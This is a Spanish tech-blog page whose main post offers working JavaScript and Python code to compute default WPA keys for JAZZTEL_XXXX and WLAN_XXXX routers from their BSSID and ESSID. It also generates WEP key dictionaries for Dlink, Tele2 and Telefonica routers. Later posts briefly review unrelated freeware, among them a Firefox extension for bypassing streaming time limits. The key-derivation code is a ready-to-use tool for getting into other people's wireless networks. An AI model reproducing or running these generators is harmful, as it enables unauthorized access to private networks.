160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341

< !DOCTYPE HTML>
<html><head>
 
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>WPAMagicKey</title>
	<script>
		var hexcase = 0;
		var b64pad  = "";
 
 
		function hex_md5(s)    { return rstr2hex(rstr_md5(str2rstr_utf8(s))); }
		function b64_md5(s)    { return rstr2b64(rstr_md5(str2rstr_utf8(s))); }
		function any_md5(s, e) { return rstr2any(rstr_md5(str2rstr_utf8(s)), e); }
		function hex_hmac_md5(k, d)
		  { return rstr2hex(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d))); }
		function b64_hmac_md5(k, d)
		  { return rstr2b64(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d))); }
		function any_hmac_md5(k, d, e)
		  { return rstr2any(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d)), e); }
 
		function md5_vm_test()
		{
		  return hex_md5("abc").toLowerCase() == "900150983cd24fb0d6963f7d28e17f72";
		}
 
		function rstr_md5(s)
		{
		  return binl2rstr(binl_md5(rstr2binl(s), s.length * 8));
		}
 
		function rstr_hmac_md5(key, data)
		{
		  var bkey = rstr2binl(key);
		  if(bkey.length > 16) bkey = binl_md5(bkey, key.length * 8);
 
		  var ipad = Array(16), opad = Array(16);
		  for(var i = 0; i < 16; i++)
		  {
			ipad[i] = bkey[i] ^ 0x36363636;
			opad[i] = bkey[i] ^ 0x5C5C5C5C;
		  }
 
		  var hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);
		  return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));
		}
 
		function rstr2hex(input)
		{
		  try { hexcase } catch(e) { hexcase=0; }
		  var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
		  var output = "";
		  var x;
		  for(var i = 0; i < input.length; i++)
		  {
			x = input.charCodeAt(i);
			output += hex_tab.charAt((x >>> 4) & 0x0F)
				   +  hex_tab.charAt( x        & 0x0F);
		  }
		  return output;
		}
 
		function rstr2b64(input)
		{
		  try { b64pad } catch(e) { b64pad=''; }
		  var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
		  var output = "";
		  var len = input.length;
		  for(var i = 0; i < len; i += 3)
		  {
			var triplet = (input.charCodeAt(i) << 16)
						| (i + 1 < len ? input.charCodeAt(i+1) << 8 : 0)
						| (i + 2 < len ? input.charCodeAt(i+2)      : 0);
			for(var j = 0; j < 4; j++)
			{
			  if(i * 8 + j * 6 > input.length * 8) output += b64pad;
			  else output += tab.charAt((triplet >>> 6*(3-j)) & 0x3F);
			}
		  }
		  return output;
		}
 
		function rstr2any(input, encoding)
		{
		  var divisor = encoding.length;
		  var i, j, q, x, quotient;
		  var dividend = Array(Math.ceil(input.length / 2));
		  for(i = 0; i < dividend.length; i++)
		  {
			dividend[i] = (input.charCodeAt(i * 2) << 8) | input.charCodeAt(i * 2 + 1);
		  }
 
		  var full_length = Math.ceil(input.length * 8 /
											(Math.log(encoding.length) / Math.log(2)));
		  var remainders = Array(full_length);
		  for(j = 0; j < full_length; j++)
		  {
			quotient = Array();
			x = 0;
			for(i = 0; i < dividend.length; i++)
			{
			  x = (x << 16) + dividend[i];
			  q = Math.floor(x / divisor);
			  x -= q * divisor;
			  if(quotient.length > 0 || q > 0)
				quotient[quotient.length] = q;
			}
			remainders[j] = x;
			dividend = quotient;
		  }
 
		  var output = "";
		  for(i = remainders.length - 1; i >= 0; i--)
			output += encoding.charAt(remainders[i]);
 
		  return output;
		}
 
		function str2rstr_utf8(input)
		{
		  var output = "";
		  var i = -1;
		  var x, y;
 
		  while(++i < input.length)
		  {
			x = input.charCodeAt(i);
			y = i + 1 < input.length ? input.charCodeAt(i + 1) : 0;
			if(0xD800 <= x && x <= 0xDBFF && 0xDC00 <= y && y <= 0xDFFF)
			{
			  x = 0x10000 + ((x & 0x03FF) << 10) + (y & 0x03FF);
			  i++;
			}
 
			if(x <= 0x7F)
			  output += String.fromCharCode(x);
			else if(x <= 0x7FF)
			  output += String.fromCharCode(0xC0 | ((x >>> 6 ) & 0x1F),
											0x80 | ( x         & 0x3F));
			else if(x < = 0xFFFF)
			  output += String.fromCharCode(0xE0 | ((x >>> 12) & 0x0F),
											0x80 | ((x >>> 6 ) & 0x3F),
											0x80 | ( x         & 0x3F));
			else if(x < = 0x1FFFFF)
			  output += String.fromCharCode(0xF0 | ((x >>> 18) & 0x07),
											0x80 | ((x >>> 12) & 0x3F),
											0x80 | ((x >>> 6 ) & 0x3F),
											0x80 | ( x         & 0x3F));
		  }
		  return output;
		}
 
		function str2rstr_utf16le(input)
		{
		  var output = "";
		  for(var i = 0; i < input.length; i++)
			output += String.fromCharCode( input.charCodeAt(i)        & 0xFF,
										  (input.charCodeAt(i) >>> 8) & 0xFF);
		  return output;
		}
 
		function str2rstr_utf16be(input)
		{
		  var output = "";
		  for(var i = 0; i < input.length; i++)
			output += String.fromCharCode((input.charCodeAt(i) >>> 8) & 0xFF,
										   input.charCodeAt(i)        & 0xFF);
		  return output;
		}
 
		function rstr2binl(input)
		{
		  var output = Array(input.length >> 2);
		  for(var i = 0; i < output.length; i++)
			output[i] = 0;
		  for(var i = 0; i < input.length * 8; i += 8)
			output[i>>5] |= (input.charCodeAt(i / 8) & 0xFF) < < (i%32);
		  return output;
		}
 
		function binl2rstr(input)
		{
		  var output = "";
		  for(var i = 0; i < input.length * 32; i += 8)
			output += String.fromCharCode((input[i>>5] >>> (i % 32)) & 0xFF);
		  return output;
		}
 
		function binl_md5(x, len)
		{
		  x[len >> 5] |= 0x80 < < ((len) % 32);
		  x[(((len + 64) >>> 9) < < 4) + 14] = len;
 
		  var a =  1732584193;
		  var b = -271733879;
		  var c = -1732584194;
		  var d =  271733878;
 
		  for(var i = 0; i < x.length; i += 16)
		  {
			var olda = a;
			var oldb = b;
			var oldc = c;
			var oldd = d;
 
			a = md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936);
			d = md5_ff(d, a, b, c, x[i+ 1], 12, -389564586);
			c = md5_ff(c, d, a, b, x[i+ 2], 17,  606105819);
			b = md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330);
			a = md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897);
			d = md5_ff(d, a, b, c, x[i+ 5], 12,  1200080426);
			c = md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341);
			b = md5_ff(b, c, d, a, x[i+ 7], 22, -45705983);
			a = md5_ff(a, b, c, d, x[i+ 8], 7 ,  1770035416);
			d = md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417);
			c = md5_ff(c, d, a, b, x[i+10], 17, -42063);
			b = md5_ff(b, c, d, a, x[i+11], 22, -1990404162);
			a = md5_ff(a, b, c, d, x[i+12], 7 ,  1804603682);
			d = md5_ff(d, a, b, c, x[i+13], 12, -40341101);
			c = md5_ff(c, d, a, b, x[i+14], 17, -1502002290);
			b = md5_ff(b, c, d, a, x[i+15], 22,  1236535329);
 
			a = md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510);
			d = md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632);
			c = md5_gg(c, d, a, b, x[i+11], 14,  643717713);
			b = md5_gg(b, c, d, a, x[i+ 0], 20, -373897302);
			a = md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691);
			d = md5_gg(d, a, b, c, x[i+10], 9 ,  38016083);
			c = md5_gg(c, d, a, b, x[i+15], 14, -660478335);
			b = md5_gg(b, c, d, a, x[i+ 4], 20, -405537848);
			a = md5_gg(a, b, c, d, x[i+ 9], 5 ,  568446438);
			d = md5_gg(d, a, b, c, x[i+14], 9 , -1019803690);
			c = md5_gg(c, d, a, b, x[i+ 3], 14, -187363961);
			b = md5_gg(b, c, d, a, x[i+ 8], 20,  1163531501);
			a = md5_gg(a, b, c, d, x[i+13], 5 , -1444681467);
			d = md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784);
			c = md5_gg(c, d, a, b, x[i+ 7], 14,  1735328473);
			b = md5_gg(b, c, d, a, x[i+12], 20, -1926607734);
 
			a = md5_hh(a, b, c, d, x[i+ 5], 4 , -378558);
			d = md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463);
			c = md5_hh(c, d, a, b, x[i+11], 16,  1839030562);
			b = md5_hh(b, c, d, a, x[i+14], 23, -35309556);
			a = md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060);
			d = md5_hh(d, a, b, c, x[i+ 4], 11,  1272893353);
			c = md5_hh(c, d, a, b, x[i+ 7], 16, -155497632);
			b = md5_hh(b, c, d, a, x[i+10], 23, -1094730640);
			a = md5_hh(a, b, c, d, x[i+13], 4 ,  681279174);
			d = md5_hh(d, a, b, c, x[i+ 0], 11, -358537222);
			c = md5_hh(c, d, a, b, x[i+ 3], 16, -722521979);
			b = md5_hh(b, c, d, a, x[i+ 6], 23,  76029189);
			a = md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487);
			d = md5_hh(d, a, b, c, x[i+12], 11, -421815835);
			c = md5_hh(c, d, a, b, x[i+15], 16,  530742520);
			b = md5_hh(b, c, d, a, x[i+ 2], 23, -995338651);
 
			a = md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844);
			d = md5_ii(d, a, b, c, x[i+ 7], 10,  1126891415);
			c = md5_ii(c, d, a, b, x[i+14], 15, -1416354905);
			b = md5_ii(b, c, d, a, x[i+ 5], 21, -57434055);
			a = md5_ii(a, b, c, d, x[i+12], 6 ,  1700485571);
			d = md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606);
			c = md5_ii(c, d, a, b, x[i+10], 15, -1051523);
			b = md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799);
			a = md5_ii(a, b, c, d, x[i+ 8], 6 ,  1873313359);
			d = md5_ii(d, a, b, c, x[i+15], 10, -30611744);
			c = md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380);
			b = md5_ii(b, c, d, a, x[i+13], 21,  1309151649);
			a = md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070);
			d = md5_ii(d, a, b, c, x[i+11], 10, -1120210379);
			c = md5_ii(c, d, a, b, x[i+ 2], 15,  718787259);
			b = md5_ii(b, c, d, a, x[i+ 9], 21, -343485551);
 
			a = safe_add(a, olda);
			b = safe_add(b, oldb);
			c = safe_add(c, oldc);
			d = safe_add(d, oldd);
		  }
		  return Array(a, b, c, d);
		}
 
		function md5_cmn(q, a, b, x, s, t)
		{
		  return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s),b);
		}
		function md5_ff(a, b, c, d, x, s, t)
		{
		  return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t);
		}
		function md5_gg(a, b, c, d, x, s, t)
		{
		  return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t);
		}
		function md5_hh(a, b, c, d, x, s, t)
		{
		  return md5_cmn(b ^ c ^ d, a, b, x, s, t);
		}
		function md5_ii(a, b, c, d, x, s, t)
		{
		  return md5_cmn(c ^ (b | (~d)), a, b, x, s, t);
		}
 
		function safe_add(x, y)
		{
		  var lsw = (x & 0xFFFF) + (y & 0xFFFF);
		  var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
		  return (msw < < 16) | (lsw & 0xFFFF);
		}
 
		function bit_rol(num, cnt)
		{
		  return (num << cnt) | (num >>> (32 - cnt));
		}
 
 
 
		function GenerarKey(){
		    var essid = document.getElementById("txtESSID").value;
			var bssid = document.getElementById("txtBSSID").value;
 
			essid = essid.replace(":","").replace("JAZZTEL_","").replace("WLAN_","").toUpperCase();
 
			while (bssid.indexOf(":")!=-1) bssid=bssid.replace(":","");
			bssid = bssid.toUpperCase();
 
			if (essid.length != 4) { document.getElementById("txtKey").value = 'ESSID incorrecto'; return; }
			if (bssid.length != 12) { document.getElementById("txtKey").value = 'BSSID incorrecto'; return; }
 
			document.getElementById("txtKey").value = hex_md5("bcgbghgg" + bssid.substring(0,8) + essid + bssid).substring(0,20);
		}
</script>
</meta></head><body>
	<table style="border: 1px solid rgb(0, 0, 0); width: 300px;">
		<tbody><tr><td colspan="3">&nbsp;</td></tr>
		<tr><td style="text-align: right;">ESSID:</td><td><input id="txtESSID" size="4" maxlength="4" type="text"/>&nbsp;(4 últimos caracteres)</td><td></td></tr>
		<tr><td style="text-align: right;">BSSID:</td><td><input id="txtBSSID" size="17" value="68640C" maxlength="17" type="text"/></td><td></td></tr>
		<tr><td style="text-align: right;">Clave:</td><td><input id="txtKey" size="22" readonly="readonly" type="text"/></td><td></td></tr>
		<tr><td></td><td><input onclick="GenerarKey();" value="Calcular key" type="button"/></td><td></td></tr>
		<tr><td colspan="3">&nbsp;</td></tr>
	</tbody></table>
	<br />
 </body></html>

Ejemplo en PYTHON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155

 
#!/usr/bin/env python
"""
    Spanish Dictionary Generators for WEP and WPA Networks library
    I know, I know, this is not PEP8'ized
    This time... fuck PEP8.
 
     Copyright (C) 2010 David Francos Cuartero
        This program is free software; you can redistribute it and/or
        modify it under the terms of the GNU General Public License
        as published by the Free Software Foundation; either version 2
        of the License, or (at your option) any later version.
 
        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.
 
        You should have received a copy of the GNU General Public License
        along with this program; if not, write to the Free Software
        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 
"""
import sys, string, hashlib
 
class Dlink():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.return_=1
            return
        self.sm=args[0][1].split(':')
        self.dicts=[]
        self.S2=self.hexa_minus_one(self.sm[-1][1])
        self.S1=""
        if self.sm[-1][1] is 0: self.S1=self.hexa_minus_one(self.sm[-1][0])
        if self.S1 is -1: self.S2, self.S1 = [0,0]
        self.static="%s%s%s%s" %(self.sm[4], self.sm[1], self.sm[2],self.sm[3])
 
    @property
    def dictionary(self):
        if hasattr(self, 'return_'):
            return "Usage: Dlink Bssid "
        for self.F in string.hexdigits.replace('abcdef',''):
            for self.I in string.hexdigits.replace('abcdef',''):
                self.dicts.append("%s%s%s%s%s%s%s%s"
                        %(self.sm[5], self.sm[0], self.static, self.sm[5], self.static, self.sm[1], self.F, self.I))
                self.dicts.append("%s%s%s%s%s%s%s%s%s%s%s" %(
                            self.S1, self.S2, self.sm[0],self.static,
                            self.S1, self.S2, self.sm[5],self.static,self.sm[0], self.F, self.I))
                self.dicts.append("%s%s%s%s%s%s%s%s%s"
                        %(self.S1, self.S2, self.sm[0], self.static, self.sm[5], self.static, self.sm[1], self.F, self.I))
 
        return self.dicts
 
    def hexa_minus_one(self, hexa):
        if hex(int(hexa, 16) - 1).split('x')[0] == "-": return -1
        return hex(int(hexa, 16) - 1).split('x')[1]
 
class Tele2():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.return_=1
            return
        self.sm=args[0][1].split(':')
        self.year=args[0][1]
        self.dicts=[]
        self.fixed="IX1V" + args[0][2]
 
    @property
    def dictionary(self):
        if hasattr(self, 'return_'):
            return "Usage: Tele2 year fixed_data [''|'IV']"
        [[[[[[ self.dicts.append("%s%s%s%s%s%s%s%s" %(self.fixed, self.year, a, b, c, d, e, f) ) for a in range(0,9)] for b in range(0,9)] for c in range(0,9)] for d in range(0,9)] for e in range(0,9)] for f in range(0,9)]
        return self.dicts
 
class Jazztel():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.dictionary="Usage: Jazztel Bssid Essid [WPA]"
            return
        if args[0][3] is "WPA":
            self.dictionary=JazztelAndTelefonicaWPA(args).dictionary
        else:
            self.dictionary=JazztelAndTelefonica(args[0][1], args[0][2], { '00:1A:2B' : ['Comtrend', 'E001D20'] } ).dictionary
 
class Telefonica():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.dictionary="Usage: Telefonica Bssid Essid"
            return
 
        self.dictionary=JazztelAndTelefonica(args[0][1], args[0][2], {
            "00:60:B3": ["Z-com", "Z001349"],
            "00:01:38": ["Xavi 7768r", "X000138"] ,
            "00:03:C9": ["Comtrend 535", "C0030DA"],
            "00:A0:C5": [ "Zyxel 650HW/660HW", "Z001349"],
            "00:16:38": [ "Comtrend_536+", "C0030DA"],
            "00:13:49": [ "P-660HW-D1", "Z001349", "Z0002CF" ] }).dictionary
 
class TelefonicaWPA():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.dictionary="Usage: TelefonicaWPA Bssid Essid"
            return
 
        self.dictionary=JazztelAndTelefonicaWPA(args[0][2], args[0][1]).dictionary
 
class JazztelWPA():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.dictionary="Usage: JazztelWPA Bssid Essid"
            return
 
        self.dictionary=JazztelAndTelefonicaWPA(args[0][2], args[0][1]).dictionary
 
class JazztelAndTelefonicaWPA():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.return_=1
            return
        self.mac=args[0].replace(':','')
        self.essid=args[0].split("_")[1]
        self.static="bcgbghgg"
 
    @property
    def dictionary(self):
        if hasattr(self, 'return_'):
            return
        return [hashlib.md5(self.static + self.mac[:-4] + self.essid + self.mac).hexdigest()[:-12], ]
 
class JazztelAndTelefonica():
    def __init__(self, *args):
        if not len(args[0]) > 1:
            self.return_=1
            return
        self.sm=args[0].split(':')
        self.essid=args[1]
        self.dicts=[]
        self.valid_routers=args[2]
 
    @property
    def dictionary(self):
        if hasattr(self, 'return_'):
            return
        a=string.hexdigits.replace('abcdef','')
        try:
            for i in range(1, len(self.valid_routers[':'.join(self.sm[:3])])):
                [[[[ self.dicts.append( "%s%s%s%s%s%s%s"
                    %(self.valid_routers[':'.join(self.sm[:3])][i], \
                     m, j, k, l, self.essid[-2], self.essid[-1])) for m in a]
                        for j in a ] for k in a ] for l in a]
        except KeyError:
            raise Exception('Error: Router not valid for a jazztel or telefonica network')
 
        return self.dicts

Pinche aquí para ver el vídeo

» Licencia | Freeware / Gratis / GPL
» Sitio Oficial | Generador de claves para JAZZTEL_XXXX y WLAN_XXXX
» Enlace de descarga | WIFI Auditor! | Luis Delgado
» Fuente de referencia | Hispasec Sistemas

Compartelo:

[?]

Generador de claves WPA para JAZZTEL_XXXX y WLAN_XXXX es un post de: ¡De todo un poco!

Una herramienta RAT, es una heramienta que te permite coger el control de un equipo remoto. Dependiendo de como se utilise puede ser legal o ilegal. Legal es cuando se utiliza para ofrecer soporte tecnico. Ilegal seria cuando mediante tecnicas de hacking este tipo de heramienta se utilizaria para controlar un equipo sin el consentimiento del dueño del mismo.

Hace algunos meses les presente TeamViewer, una excelente heramienta gratuita que hoy en dia ya tiene soporte para Windows, Linux, MacOS e incluso para telefonos moviles con el iOS de Apple o Android de Google.

Despues de una larga experiencia con soluciones de acceso remoto a ordenadores, LogMeIn decide ofrecernos una heramienta de colaboracion llamada Join.Me, una solucion gratuita que aunque es bastante limitada en opciones, sirve para compartir el escritorio de un ordenador con hasta 250 personas.

Aunque existe una version de pago (unos 22€/mes) con funciones adicionales, la version basica de esta heramienta se puede utilisar sin pagar nada ni tener que registrarse tanto en ambito personal como en ambito empresarial.

Para compartir un escritorio basta con descargar y ejecutar “join.me.exe” que tiene un tamaño de mas o menos 1 MB. Esta heramienta monstrara un ID de 9 numeros ej: “XXX-XXX-XXX” o “join.me/XXX-XXX-XXX” que tienes que compartir por eMail, SMS o Messenger con los que quieras compartir ese escritorio.

Para ver un escritorio compartido la empresa no pone a disposicion de los clientes ninguna heramienta ejecutable, así que sera necesario acceder a la web join.me y en el apartado “join” introducir el ID de 9 numeros que ha recibido del que comparte su sesion. Otra manera de ver ese escritorio compartido seria abriendo en un explorador de internet directamente “join.me/XXX-XXX-XXX”.

Dado que estas sesiones no estan protegidas con contraceña, cualquier persona que sepa esa ID podra ver ese escritorio. Para poder coger el control de ese escritorio el que comparte tiene que otorgarte ese privilegio. Dependiendo de las necesidades que tengas eso puede ser una ventaja o una desventaja.

» Licencia | Freeware / Gratis
» Sistema Operativo | MacOS / Windows
» Tamaño | 1.02MB
» Idiomas | English
» Sitio Oficial | Join Me
» Enlace de descarga | Join.Me.exe

Compartelo:

[?]

Join.Me – Otra heramienta RAT para tu colection es un post de: ¡De todo un poco!

“Más de 100 toneladas de material de asteroides y cometas golpean la Tierra cada día”, dijo. Incluso fragmentos del tamaño de un automóvil se precipitan hacia el planeta un par de veces cada año, pero éstos se queman y se desintegran al entrar en la atmósfera. ”Acontecimientos muy grandes suceden al menos una vez por siglo”, dijo Melosh. La mayor amenaza en el futuro próximo es el asteroide Apophis, que tiene una pequeña posibilidad de golpear la Tierra en 2036. Se trata de una roca de casi 500 metros de diámetro, y esta aplicación online puede decirte lo que podría ocurrir si cae en el patio trasero de tu casa. Así que, ingresa al sitio, carga los parámetros importantes como el diámetro del objeto, su densidad, velocidad y hasta el ángulo de entrada en el que llegará a la Tierra. El sitio realizará estimaciones de las consecuencias de su impacto, incluyendo la onda de choque atmosférica, los temblores de tierra, el tamaño del tsunami generado, la expansión de bola de fuego, la distribución de los desechos y el tamaño del cráter producido. Suena interesante, ¿verdad?

Pinche aquí para ver el vídeo

» Licencia | Freeware/Gratis
» Sitio Oficial | Impact Earth
» Sitio Oficial | Impact Simulator
» Fuente de referencia | NeoTeo

Compartelo:

[?]

Que pasaría en la tierra si impactaría un asteroide? es un post de: ¡De todo un poco!

Christmas Eve Crisis es un juego de plataformas especialmente pensado para la época navideña teniendo en cuenta tanto su temática como su ambientación. El objetivo del juego es ayudar a Papá Noel a repartir los regalos en sus respectivas casas lo más rápido posible.

Christmas Eve Crisis está dividido en diez niveles que irán creciendo en dificultad progresivamente. Se juega con sólo tres teclas, las de avance y retroceso y el espaciador para las acciones de recogida de regalos o saltos.

Cada nivel presenta la misión de recoger regalos a lo largo del escenario y entregarlos en sus casas atravesando charcos, evitando enemigos como las luciérnagas o los búhos, consiguiendo los secretos escondidos entre los árboles…

Además, el juego presenta unos gráficos excelentes y un ambiente musical basado en villancicos populares.

» Licencia | Freeware/Gratis
» Sistema Operativo | Linux/MacOS/Windows
» Tamaño | 13MB
» Idiomas | English
» Sitio Oficial | Christmas Eve Crisis
» Enlace de descarga | Juego completo free!
» Fuente de referencia | UPtoDown

Compartelo:

[?]

Hecha una mano a Papá Noel a repartir los regalos por todo el mundo es un post de: ¡De todo un poco!

Este álbum de Navidad es un esfuerzo de colaboración de la comunidad de GPO. Bienvenido al álbum anual ofrecido por la comunidad Garritan para las fiestas de final de año. Un proyecto musical realmente único. La comunidad Garritan recomienda la libre distribución de esta colección de villancicos, para escuchar en las vacaciones de navidad. Puedes descargar el álbum e imprimir la carátula, y realizar tantas copias como necesites sin tener que pedir ningún permiso ni pagar estupidos comisiones en concepto de canon a la SGAE. Deje que estas magníficas fiestas la música caliente tu corazón.

» Licencia | Freeware/Gratis
» Sitio Oficial | A Garritan Community Christmas Volume 7

Compartelo:

[?]

A Garritan Community Christmas Volume 7 es un post de: ¡De todo un poco!

La computación en nube, del inglés “Cloud computing”, es un paradigma que permite ofrecer servicios de computación a través de Internet. La “nube” es una metáfora de Internet. En este tipo de computación todo lo que puede ofrecer un sistema informático se ofrece como servicio, de modo que los usuarios puedan acceder a los servicios disponibles “en la nube de Internet” sin conocimientos (o, al menos sin ser expertos) en la gestión de los recursos que usan. Según el IEEE Computer Society, es un paradigma en el que la información se almacena de manera permanente en servidores de Internet y se envía a cachés temporales de cliente, lo que incluye equipos de escritorio, centros de ocio, portátiles, etc. Esto se debe a que, pese a que las capacidades de los PC han mejorado sustancialmente, gran parte de su potencia se desaprovecha, al ser máquinas de propósito general.

Pinche aquí para ver el vídeo

El cambio paradigmático que ofrece la computación en nube es que permite aumentar el número de servicios basados en la red. Esto genera beneficios tanto para los proveedores, que pueden ofrecer, de forma más rápida y eficiente, un mayor número de servicios, como para los usuarios que tienen la posibilidad de acceder a ellos, disfrutando de la ‘transparencia’ e inmediatez del sistema y de un modelo de pago por consumo.

Compartelo:

[?]

Google se carga 25 portátiles con ChromeOS, intentando vendernos el Cloud Computing es un post de: ¡De todo un poco!

Hace algo mas de una año y medio he presentado un juego muy entretenido llamado Light-Bot. Hoy toca presentar la segunda versión de este interesante juego online. Para los que no recuerda de que iba el primer Light-Bot, les comento que se trata de un juego que encanta a los que están empezando a aprender a programar, pero no solo a ellos. Todos sabemos que los robots ejecutan los comandos que su creador les ha programado, así que primero hay que aprender como escribirlos.

En este juego, los comandos son tan simples como: un paso adelante, gira, salta, enciende la bombilla, … Lo importante al programar el Bot es saber colocar estos comandos en el orden correcto. Para hacer las cosas mas interesantes existen las llamadas funciones por si tenemos fragmentos de código que se repite.

Aquí les dejo las solucione de todos los niveles por si se quedan bloqueados en alguno.

Pinche aquí para ver el vídeo

Pinche aquí para ver el vídeo

Pinche aquí para ver el vídeo

» Sitio Oficial | Light-Bot II
» Sitio Oficial | Soluciones para Light-Bot II
» Otro Enlace | Light-Bot I

Compartelo:

[?]

Light-Bot II: Aprende a programar este pequeño RoBot es un post de: ¡De todo un poco!

TiltShift Generator es una herramienta que te permite añadir el efecto TiltShift a tus fotografías. El efecto TiltShift permite hacer que ciertas zonas de una fotografía queden desenfocadas, haciendo que un punto concreto quede destacado de una manera original y ahorrándonos complicados procesos de retoque.

Con TiltShift Generator podemos regular el enfoque y radio del punto destacado, además de aplicar cambios de contraste, color o brillo en las imágenes, consiguiendo resultados sorprendentes.

Instrucciones de instalación: Para instalar este programa es necesario instalar primero Adobe AIR, necesario para ejecutar los ficheros AIR

» Sitio Oficial | TiltShift
» Enlace de descarga | TiltShift.air
» Enlace de descarga | Adobe AIR Runtime (necesario para ejecutar TiltShift.air)
» Enlace de descarga | Para iPhone, iPod e iPad
» Fuente de referencia | Softonic

Compartelo:

[?]

Generador del efecto TiltShift en fotografías es un post de: ¡De todo un poco!

Hoy les presento un truco para descargar álbumes de foto, creados con Picasa. Con esta herramienta lo puedes hacer sin necesitar registrarte o tener instalada la aplicación oficial de Picasa. Esta disponible para PC, MAC y Linux.

Todo lo que necesita hacer para captar las imágenes es, iniciar la utilidad, especificar el ID del usuario y el nombre del álbum que desea descargar, el resto lo hace automáticamente el propio software.

» Licencia | Freeware/Gratis/GPL
» Sistema Operativo | Linux/MacOS/Windows
» Tamaño | 8.5MB
» Sitio Oficial | Picasa Album Downloader
» Enlace de descarga | Picasa Album Downloader

Compartelo:

[?]

Picasa Album Downloader – Para descargar álbumes foto de Picasa, a tu ordenador es un post de: ¡De todo un poco!

Seguro que en algún momento has intentado ver alguna película en alguna de esas webs que hay en la red. Lo malo de esas paginas es que disfrutan con eso de dejarnos con la miel en los labios. Y con esto me refiero a que cuando menos te esperas, te aparece ese mensaje que nadie quiere ver.

Como he visto que hay mucha gente que no tiene ni idea pues aquí os dejo un complemento para FIREFOX que os permitirá saltaros las limitaciones de tiempo sin necesidad de reiniciar router/pc.

La extensión de Illimitux remueve las limitaciones impuestas por algunas plataformas de transimisión como MegaVideo, Veoh o MegaUpload. Con Illimitux, puedes ver estos vídeos sin ninguna restricción.

Por Ejemplo, puedes ver mas de 72 minutos de video en MegaVideo, automáticamente llenar el código de MegaUpload, reproducir videos de mas de 5 minutos en Veoh -sin instalar Veoh TV- y muchas otras cosas.

Por ejemplo:
Al abrir un enlace de alguno de los servicios soportados os aparecerá ” eliminar la limitación de megavideo ” o bien podéis  hacer que os la elimine directamente sin necesidad de pulsar en el enlace cada vez ( en la configuración esta la opción )

» Sitio Oficial | illimitux

Compartelo:

[?]

Illimitux saltarse las limitaciones de plataformas de transmisión como MegaVideo, Veoh, MegaUpload es un post de: ¡De todo un poco!

Muchas veces al comprar un ordenador nuevo, nos viene infestado de aplicaciones trial. Entre estas aplicaciones siempre o casi siempre hay algún AntiVirus o AntiSpyware y en ocasiones incluso las dos cosas.

Como muchos por experiencia sabrán (lamentablemente) algunas de estas aplicaciones son muy difíciles de desinstalar, llegado el caso los ejecutables que permiten la desinstalación no funcionan correctamente o en casos extremos directamente no existe el método para desinstalarlo, y hacerlo manualmente siempre deja basura instalada en nuestra PC. Por suerte OPSWAT sabe esto y ha elaborado esta herramienta que de forma exhaustiva limpia completamente los rastros de esos programas resistentes a ser borrados.

AppRemover es una simple aplicación preparada para eliminar fácilmente cualquier instalación de los AntiVirus y AntiSpyware mas populares y los no tanto.

» Licencia | Freeware / Gratis / GPL
» Sistema Operativo | Windows
» Tamaño | 5Mb
» Sitio Oficial | AppRemover
